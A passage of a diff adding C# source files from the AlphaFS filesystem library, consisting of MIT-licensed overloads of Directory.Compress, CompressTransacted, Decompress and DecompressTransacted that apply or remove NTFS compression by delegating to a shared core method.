/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationOptions options)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <remarks>This will only decompress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
